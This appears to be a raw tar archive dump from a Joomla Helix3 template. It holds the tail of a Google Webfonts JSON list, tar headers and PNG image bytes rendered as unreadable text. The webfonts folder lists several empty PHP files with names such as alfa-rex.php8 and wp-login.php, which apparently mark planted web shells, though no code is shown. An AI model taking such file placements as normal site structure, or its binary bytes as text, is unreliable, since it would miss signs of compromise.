    "regular": "http://fonts.gstatic.com/s/wireone/v6/sRLhaQOQpWnvXwIx0CycQw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Yanone Kaffeesatz",
   "category": "sans-serif",
   "variants": [
    "200",
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/yanonekaffeesatz/v7/We_iSDqttE3etzfdfhuPRbq92v6XxU4pSv06GI0NsGc.ttf",
    "300": "http://fonts.gstatic.com/s/yanonekaffeesatz/v7/We_iSDqttE3etzfdfhuPRZlIwXPiNoNT_wxzJ2t3mTE.ttf",
    "regular": "http://fonts.gstatic.com/s/yanonekaffeesatz/v7/YDAoLskQQ5MOAgvHUQCcLdXn3cHbFGWU4T2HrSN6JF4.ttf",
    "700": "http://fonts.gstatic.com/s/yanonekaffeesatz/v7/We_iSDqttE3etzfdfhuPRf2R4S6PlKaGXWPfWpHpcl0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Yellowtail",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/yellowtail/v6/HLrU6lhCTjXfLZ7X60LcB_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Yeseva One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/yesevaone/v9/eenQQxvpzSA80JmisGcgX_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Yesteryear",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/yesteryear/v5/dv09hP_ZrdjVOfZQXKXuZvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Zeyada",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/zeyada/v6/hmonmGYYFwqTZQfG2nRswQ.ttf"
   }
  }
 ]
}
                                                                                                                                                                                                          system/helix3/assets/webfonts/index.php                                                             0000644                 00000000000 15242051520 0014217 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/wp-login.php                                                          0000644                 00000000000 15242051520 0014644 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/alfa-rex.php56                                                        0000644                 00000000000 15242051520 0014762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/about.php7                                                            0000644                 00000000000 15242051520 0014311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/alfa-rex.PhP7                                                         0000644                 00000000000 15242051520 0014576 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/alfa-rex.php8                                                         0000644                 00000000000 15242051520 0014677 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/about.php                                                             0000644                 00000000000 15242051520 0014222 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/webfonts/alfa-rex.PHP                                                          0000644                 00000000000 15242051520 0014447 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/helix3/assets/images/megamenu/2-2-2-2-2-2.png                                                0000705                 00000003025 15242051520 0015425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     9   ~;   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:65B92BDD949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:65B92BDE949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65B92BDB949711E48899E7639E2015A8" stRef:documentID="xmp.did:65B92BDC949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*T  IDATx۱NQ_,DM `h3;(-&@ts;!)M<ɷoz^NDn㘷1;11k7999=^7CCy=m=w_Ɯ|Zv{n}qC=4d|ycֻ嶞ϱ衇&z#3\-1][nB=4$-Gג}Y|G=4)4IMR4u;z衉HIZ]v*CMpG
Ml+CMpG
Mx!T>czh&+~ X X X X X `y `y `y `y `y        X X X X X `y `y `y `y `y   ,2\,Wz衉HIZ?Yz衉HIZKz衉HIZ1=ϘwC=ܑB<ļob.+CMpG
Mꡇ&z#sa̫%?E>႟h2Gݘ1%9(z衉LiO O	:p    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           system/helix3/assets/images/megamenu/4-4-4-12.png                                                   0000705                 00000003752 15242051520 0015225 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:80DE180D949811E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:80DE180E949811E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F84189E8949711E48899E7639E2015A8" stRef:documentID="xmp.did:80DE180C949811E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>  XIDATxONSQCHNq@pVaL4.toI;0qlCRsjyF/9epI~iTz혅1b&*D1{1oc>`fffi4mGȟÎdGFz\ХhndwZkG#,ufCnv/s#veo@ĬTJwe;bG8#) c^Ow}#v$d1fʙFcG!#) 5gQ:x%ؑΡtf>ގ;BnGR@&C|#v܎:#rF                                            0`GcP:'oG!#) C|#v܎;9(x;bGIَi:HwU9vĎr;rv&Ci;bGHxwcV\_JvחaG܎td=fС}9U;bGَ~p/^0nVvKٝ]ϵ#vĎؑny·lbG#O p)vw                                         [F)  HݎYy33 Js.k?Vz׏c6c ]1b:~k9fG< c*kro@bV+goTVw2F< `D^IYx
KXL9 
zr9 Pl
Ȥs Q @Q	                                            0 L@ |r t ( d;, ԌӘ1mg /R;:ƻ"" ǫρW@^3kZ$܍zK0 J)}FK̇ʯF! @{>d    IENDB`                      system/helix3/assets/images/megamenu/3-9.png                                                        0000705                 00000003063 15242051520 0014643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     9   }^   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:F84189E2949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:F84189E3949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F84189E0949711E48899E7639E2015A8" stRef:documentID="xmp.did:F84189E1949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E  IDATxOKTQ;Ҧh)An7V@Ƞm"-jnM}:!fI=t&&w;zkmmmU}܋3^QG/&ڍY6_=O{sŽ ͘y}c}o|YfIxn5gyَىy3^t=;y,11evbRc'	Cy-ȍ|FI(y<i(@+酪9"[Y+}<KeQ@+2[k+Li7ͧiˢ135Ί(X;e94j(z9'ֽ ET P$mL (  
  
 @ @ @ @ P  (  (  
  @ @ P  @ P  (  
  
 @ @ @ ^ӫqֽ ET И5κd@ˡ1j(X7ȫ]YnzXk1_(T {11
rwgob229+%%TKy7@:1+Nnδsg<s/@l.浪@ɘ1կ\r~l#g83=1b>T>8^9i\>) [P    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/helix3/assets/images/megamenu/12.png                                                         0000705                 00000002503 15242051520 0014553 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     :   O   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:961752AB948D11E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:961752AC948D11E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:961752A9948D11E48899E7639E2015A8" stRef:documentID="xmp.did:961752AA948D11E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>В  IDATx۽JBa%Zƾ@6r-/!r
¹7 BOųSFI k XES>֏}?҉q46}И{-*# Ftoč ChEgfF< X2"ٌf(& ,)qw *d@v2  @EȚ; PU	   @@ @@   @@ @@   @@ @@   @@ @@   @@ @@   @@ @@   @@ @@   i@> hyq *z΀~- XR6.;}	 d+γcW"xd+~;qшYE!6q3UmJ` 1;,    IENDB`                                                                                                                                                                                             system/helix3/assets/images/megamenu/3-3-3-3-6-6.png                                                0000705                 00000004537 15242051520 0015452 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB9E0786949811E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:DB9E0787949811E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB9E0784949811E48899E7639E2015A8" stRef:documentID="xmp.did:DB9E0785949811E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h  IDATxMkW'R\ici7	hBƶbvCԀ$[qmфUK_ACmWjV7!=@V9s_']~}KQǢފݨ_.F=x3_ÍG]si͋9gyyeQEF٭^NuܣQDDjlwLm69Y 9u9U=L8u)e-ĞS<ls6γZ:5G˽=hc/ff<+t 5Uoz5xGv:Za6y`6#1Y,w7'fBz5<0y^sZVt{γY
PfI٘K,^}(敆כMm>i69s)x ٮlkx/1ϳ-z @  @  @ @  @           @  @    @         @  @  @         '7e6Ry>sfSp\
g)@fI٘K,}(i絬Bgϳ nEn^7ub.f3q<R<4jEOz{}QGja/Vs[k69YlcE}ez[Sm,D^HyV<[{ 碎DG{:眍0Ꞗv"ׁٌlgγH~`fQ}k$}7}Q'~Ս~xgpyy)7<pyfuN+̆<oМ  @  @ @  @           @  @ ƶE]lrr_/.@gE:GE]OϷ7T75{w,#dO~w|gܛr"rԸ1ߨNt,{C{ E}=Cu17{C{^QsP2hPޤ 9PMߛ zA#7)@;{C{d>P67T7)@4fo @           @  @    @         @  @  @            @ @ Hmrw[co~oR,{C{d^|{`&ȅzAnhPޤ Y,jUOj~[ko~o>mI@eKp2mޛ2u8o=bĥwH~7PlE}Q_FgԊ[ONx?7T7
0 )hW N    IENDB`                                                                                                                                                                 system/helix3/assets/images/megamenu/5-7.png                                                        0000705                 00000003061 15242051520 0014641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     9   }^   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:65B92BE1949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:65B92BE2949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65B92BDF949711E48899E7639E2015A8" stRef:documentID="xmp.did:65B92BE0949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>a  IDATxOKTQME0l7}	,	K}(*}@Pku=m
{A^\yP{ױp9 2l"[Zn7z'J~d6r=2bPfS}"#+[ʃ}Z5U}ӛ7n$|fN*q8Gyx1#gni@nG#m3byNt}"gEQgȫ#q5_7zb*{-(jdkg7ȌYP9_M2itrvS.%U}T ́ľBCt  @ @ @ @ P  (  (  
  @ @ P  @ P  (  
  
 @ @ @ P  ( P  (  a2.
*=cWhM(ha+Ⱥ9PPldЌ
d-cqvߥGF̈́!:{ׯt#
E=IgsCcuQ%
Eȇyx!;,#w"F
CotZd>%of`?|ޯ ?y`P|&Zz# >]O~    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                               system/helix3/assets/images/megamenu/6-6.png                                                        0000705                 00000002703 15242051520 0014643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     :   O   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:2B9D0B58949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:2B9D0B59949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2B9D0B56949711E48899E7639E2015A8" stRef:documentID="xmp.did:2B9D0B57949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o  1IDATx1J\Q৤Ij24A6hE$BHlK\@ 
a\00W-o+~7Kx8&yYafN22?F`2g,]*3%Rx`V.4)3t9̬Xߪ>2CיY9dGtOCf:3@d
b`Q2$@<|n^fdȆ]@?eR $3@V^HfJ<h"30CB P  (  
  
 @ @ @ @ P  ( P  (  
  
 @ @ @ @ P  (  (  
  @ @ @.e0LHfJNHfJ4@f 9(r9:vVs(AfR 3o3vBʹWs(AfxgvP->+3t߁e63vDy߻=d33C*O33C۫sS=Sf63W =])    IENDB`                                                             system/helix3/assets/images/megamenu/4-4-4-6-6.png                                                  0000705                 00000004137 15242051520 0015311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        k s   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:80DE1811949811E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:80DE1812949811E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:80DE180F949811E48899E7639E2015A8" stRef:documentID="xmp.did:80DE1810949811E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Ya0  IDATx1k[Ye0LaM$تjɟ[Y!0X	'a	79w<|gޏɨf11[1hss9m^y/TDFȝwb9y⡯3ݹʈȈ
d%fәlKGFdDFddX OcŌg솟H*{1᯳X?ϼȈ0HǫΤY.Ȉ0H*΢:ۅˈyUxȈ0H*oKA2"#2 #@: #ޘ @ @ P  ( P  (  
  
 @ @ @ @ P  (  (  
  @ @ P  @ P  (  
  
 \ WdK1TzaT ?Cu
IrzaT b~:jg32"#2 #@Nc̜ڛg}Z9axyk	ᯌ~̋N_>2"#2"#YCỊݘ1Sgg:ʈȈu]*ն}DFh6J  
  @ @ P  @ P  (  
  
 @ @ @ P  ( P  (  +dm%_2f;f+f1&1G11c~}Ųl:7qۘɒ?ݙ;s|Tb3}=Uy<y~"qFTds3T3@|Xijr>uLAǫ΄.`gbgR<wpuI9eg v&7Hi\kg v&] E4"@ @ P  ( P  (  
  
 @ @ @ @ P  (  (  
  @ @ P  @ P  (  
  
 \ ǎkΤ9*@L*C ׂkΤYPLL*Ә713gBf93ؙ؃xY*\Rvwf@c^4eo:y_vwf	'1bvcLkdss>{ݙ? uJj    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                 system/helix3/assets/images/megamenu/3-3-3-3.png                                                    0000705                 00000003014 15242051520 0015131 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     :   O   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:2B9D0B60949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:65B92BDA949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2B9D0B5E949711E48899E7639E2015A8" stRef:documentID="xmp.did:2B9D0B5F949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>2  zIDATx1jTa1ˠd6j>4!}R+݉3n ()!8z`N#[|d2q1Qܝkqk#8k*yi?tz?R6[m_}ۏ[gooy?S]f: [qqW´|~.5hҷ9q;ާ7]R6hr!nϛn/z^좍6d6 7د;|K.hCir[VouEm6m@{.5h٦%0.FK.hCiJE)m `@ 0         `@ 0  `@ 0         `@ 0   0        JE)? _<`:|K.hCi;}ouEm6m@x.5h٦ȳCoѻ|yR6ڐmڀ|̷.5hx_m{lwK.h׿o{V좍6Kfu惃wqn]w{縏qo/R6,u fߟ#    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/helix3/assets/images/megamenu/6-6-12.png                                                     0000705                 00000003702 15242051520 0015063 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        k s   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:F84189E6949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:F84189E7949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F84189E4949711E48899E7639E2015A8" stRef:documentID="xmp.did:F84189E5949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>89  0IDATxMKmqډZF;Mh˲2DKEPԮhF3Mv+H4=I\Q>{ӎ93911cVoR~r7w7GBǘ1#d2?3~ȻB˘);cMQ-r7{7݀'Un(n҃,qv?>kM
ȍSvBҳ}׹vA.HM
Ȍ=P!^n(nR@*wCwr1wC @@    @@    @@    @@    @@    @@    @@    @@  nИA@bmwCw(q77) k@k`&Y̆]POr77) bnt¤gfMmcb~n(nzAL;13~)?P ᫘1wbl,vzExUUY뺶$׷ 4                               O h;s533iM EډYYyUUG1@1+R `܈DbG c<bc1OƼ#V<NHsN MS@. S@ffS@
R@ My                                                & [ @C) S@VR@l )5i
n͘ pNnnmobEⱜρ܋mG ΍@Ĝycg Eڋ-mX h\    IENDB`                                                              system/helix3/assets/images/megamenu/4-8.png                                                        0000705                 00000003035 15242051520 0014642 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     :   O   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:F84189DE949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:F84189DF949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65B92BE3949711E48899E7639E2015A8" stRef:documentID="xmp.did:65B92BE4949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>;2P  IDATxۿNQYb5!K6jȟK4j#d71Q[Hkcƻ3l0ߗܝ37,Co8V5^GG=ZQ_Q'Q܋FY?F3=#gQg͑QߢE0|,糽kz麫z:?GV#3d7?>gvO"˶0{ IOGQ={Y|M$=y(~NH
QbC>6И#)@*_[$}g*_[9d^gz=4H
8+-1GR,ه}V 9}`=4,      @  @    @         @  @  @            @  @ @  @     ms`f\GI>z=4H
}(
#)@NE1󙷡GI2zuiO:2zs ̓5OQD}?uF(~yp@6.Q\=u6;G62}|j'q>|t'Q;z#;B ]D^    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   system/helix3/assets/images/megamenu/4-4-4.png                                                      0000705                 00000002765 15242051520 0015010 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     :   O   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:2B9D0B5C949711E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:2B9D0B5D949711E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2B9D0B5A949711E48899E7639E2015A8" stRef:documentID="xmp.did:2B9D0B5B949711E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>:A{  cIDATx1NTQb516P*&%+`8BB΅wI@"~_rfs'0L&w1ob^Ĭxf1G1_bc~tFsd:ci$#i7#KcNbvc^9oo~G+#2"#2R8̪jxw$ʧ0_˔nd$=Go{5dDFd"#@6bI3ҭ7+_##2"#I.SȈPd$s{heDFd"#@CsjV)#2"#ICF
KV @ @ P  @ P  (  
  
 @ @ @ P  ( P  (  
  
 @ @ @ @ P  (  (  
  CFn-skhάyH*c{hηeDFd"#@9<2BIsjH\H*1c.ҍ?אטmѷAFdDF?d'm̙Y΂##2"#2;#$Ls8*Yǘg#ȈȕK 奍Ip    IENDB`           system/helix3/assets/images/megamenu/3-3-3-3-12.png                                                 0000705                 00000004044 15242051520 0015355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        n+   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:80DE1815949811E48899E7639E2015A8" xmpMM:DocumentID="xmp.did:80DE1816949811E48899E7639E2015A8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:80DE1813949811E48899E7639E2015A8" stRef:documentID="xmp.did:80DE1814949811E48899E7639E2015A8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>!   IDATx?oSWpXJG*P5_IhTUa!L.P=΍E[F`i':XF+IPN4	f8S>\EV"g3yy5~x<ᦛȧ"v}?oRSO^ٌ|s9oonRx}{iȷ>qIʷ}эnһ^I?وhs^7э^zKӑ;7KF7)F/{Ir5&8ߺntnR4 knQZG7ǽT%Ewfeb/i@ιC5g
P֍^*;nt^z `@ 0         `@ 0  `@ 0         `@ 0   0       =}g-z@9C5P֍^*;T[|膲nR4 ܡF7uEҍ.|ntnR4 /""nҙtۯ"/_覬Tc[cnzF7ze/ρ܊\zǯF/eP󷀿FnE<7<?X/<׍MKǽW;9nt^z_e\~@ 0         `@ 0  `@ 0    éx
